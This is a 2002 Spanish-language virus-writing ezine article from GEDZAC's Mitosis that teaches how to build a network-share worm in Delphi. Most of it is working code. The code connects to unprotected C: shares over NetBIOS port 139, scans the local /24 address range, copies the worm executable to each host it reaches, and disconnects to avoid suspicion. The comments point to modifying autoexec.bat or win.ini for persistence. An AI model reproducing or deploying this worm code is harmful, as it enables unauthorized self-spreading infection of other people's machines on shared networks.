Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 010
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : Partes básicas para construir un gusano de Recursos compartidos
Autor : ErGrone
Válido para : Delphi 2 o superiores.
--------------------------------------------------------------------------------------------
Buenas, ya todos han de saber que es un gusano de recursos compartidos, y para el que no lo sepa léase esto:
Un gusano de recursos compartidos es aquel que busca el Puerto 139 para poder copiarse a otra computadora, este puerto se encuentra abierto generalmente en las redes LAN o en las redes caseras, este puerto posibilita la transmisión de archivos entre dos computadoras sin hacer mucho trámite. Obviamente a este servicio (NetBios) del puerto 139 se le pueden poner restricciones de lectura y escritura, pero muchos lo tienen abierto sin ninguna restricción y eso es lo que buscará nuestro gusano para poder vivir.
Comenzamos...
1) Función para conectar a un equipo con NetBios.
**********************************************
Function ConNetBios(ataque:string):integer;
var
NetResource: TNetResource;
begin
NetResource.dwType := RESOURCETYPE_DISK; //tipo de unidad, en nuestro caso un disco
NetResource.lpLocalName := 'O:'; //conectaremos a través de la unidad O (local)
NetResource.lpRemoteName := pchar('\\'+Ataque+'\c');// el destino de nuestra
//conexión, en nuestro caso son Ips y atacando siempre al disco C:,--> \\XXX.XXX.XXX.XXX\C
NetResource.lpProvider := '';
WNetAddConnection2(NetResource, '', '', CONNECT_UPDATE_PROFILE);
end;
********************************************************************************************
Nota: la flag CONNECT_UPDATE_PROFILE = 0, es lo mismo para la conexión persistente,o sea,
WNetAddConnection2(NetResource,'','', 0) = WNetAddConnection2(NetResource,'','', CONNECT_UPDATE_PROFILE).
********************************************************************************************
Esta función debe ser llamada de este modo.
ConNetBios(200.0.0.255);
Si esa ip tiene el NetBios activado, el disco C compartido y sin password ya habremos conectado.
///----///
2) Función Básica para Generar Ips y atacar todo un rango.
******************************************************
Si nuestro gusano no sabe caminar pues quedará postrado en nuestro disco duro, así que mostrare una función para generar Ips a partir del equipo donde estamos, es simple pero útil, y desde aquí se pueden seguir generando mas rangos.
Inicialización de winsock (Function IniciaWinSock:integer):
**********************************************************
(Esta función es necesaria para la obtención de IP, se debe agregar Winsock en las Uses.)
Declaraciones en Var:
--------------------
WVersionRequested : WORD;
WsaData : TWSAData;
Código:
------
WVersionRequested := MAKEWORD(2, 2); //puede ser MakeWord(1,1),MakeWord(2,0).
if WSAStartup(wVersionRequested, WsaData)> 0 then //se comprueba la versión de Winsock y si éste es válido (0 = True);
begin
exitprocess(0); // si el socket es incorrecto finalizamos (> 0)
end;
Obtener la IP local (Function Local:String):
*******************************************
Declaraciones en Var:
--------------------
Host: PHostEnt;
Data : array[0..128] of char;
IPLocal : pchar;
Código:
------
GetHostName(@Data, 128); // obtenemos el Nombre del Host y lo guardamos en DATA
Host := GetHostByName(@Data); // obtenemos el puntero donde esta nuestra IP
IpLocal := Inet_Ntoa(PinAddr(Host^.h_addr_list^)^); // obtenemos nuestra ip XXX.XXX.XXX.XXX
Result:=IPLocal;
Generar y atacar un rango (Function UnRango(laip:string):integer);
*****************************************************************
Declaraciones en Var:
--------------------
LaIpBase,ElGen:String;
Vuelt1,vuelt2,longitud,Cpunt:integer;
Código:
------
Cpunt:=0; //Cuenta puntos
LaIpBase:=Local;
Longitud:=strlen(pchar(LaIpBase)); // obtenemos la longitud de la ip.
For Vuelt1 := 1 to longitud do
begin
//Destripamos la IP, necesitamos conocer el lugar de los puntos ya que
//cortaremos nuestra parte final de la ip local.
if LaIpBase[Vuelt1]='.' then inc(Cpunt);
if Cpunt < 3 then //no hemos llegado al tercer punto? entonces seguimos leyendo.
begin
ElGen := ElGen+LaIpBase[Vuelt1]; //al finalizar este bucle nuestra ip queda XXX.XXX.XXX
end;
For vuelt2 := 0 to 255 do
Begin
ConNetBios(elgen+'.'+inttostr(vuelt2)); // Intentamos conectarnos las ips
//Aquí va el codigo para copiarnos al equipo que estamos atacando, o sea CopyFile. como ejemplo
//nuestro gusano se llama GHJKLÑ.exe
CopyFile(pchar('GHJKLÑ.EXE'),Pchar('O:\GHJKLÑ'),true);
//Aquí el código para modificar el autoexec.bat o el win.ini para así activarnos
//al próximo inicio, todo ésto con control de errores (TRY, EXCEPT) por si la IP
//atacada llegase a no estar activa o sin NetBios. esto ya debe saber como se
//hace. Recuerde que el autoexec o el win.ini a modificar estan en O:\
WNetCancelConnection2( 'O:',0,TRUE) //Nos desconectamos para no levantar sospechas y porque
//necesitaremos la unidad O.
end;
WSACleanup; // Una vez terminado ésto procedemos a cerrar el socket
End;
/////-----------------////////
/////-----------------////////
/////-----------------////////
Notas Finales.
*************
Las ips generadas corresponden a este rango:
XXX.XXX.XXX.yyy donde las X son parte de nuestra ip y las Y van desde 0 hasta 255, si nuestra ip fuese 184.214.255.13, generaríamos 184.214.255.0 184.214.255.255 y atacaríamos todo nuestro rango.
Bueno, con esta información ya se puede generar un gusano de recursos compartidos, sólo falta la parte mas fácil, pero muy importante (modificar el Autoexec y/o el win.ini, se supone que eso ya lo sabe hacer o bien sabe que leer).
... enlace recomendado en caso de no saber na de na...
>---> http://www.geocities.com/WallStreet/Exchange/3124/delphi.htm
(C) MITOSIS E-Zine/GEDZAC 2002